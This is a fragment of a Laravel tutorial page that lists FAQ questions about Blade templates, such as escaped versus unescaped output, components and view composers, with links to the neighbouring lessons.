Frequently Asked Questions

01
What is the difference between @include and Blade components in Laravel?
02
Can I use PHP code directly inside a Blade template?
03
What is the difference between {{ }} and {!! !!} in Laravel Blade?
04
How does Blade compilation work and why does it matter for production?
05
What is a view composer and when should I use one?
06
How do I unit test a Blade component?
🔥

That's Laravel. Mark it forged?

7 min read · try the examples if you haven't

Previous
Laravel Eloquent ORM
5 / 15 · Laravel
Next
Laravel Migrations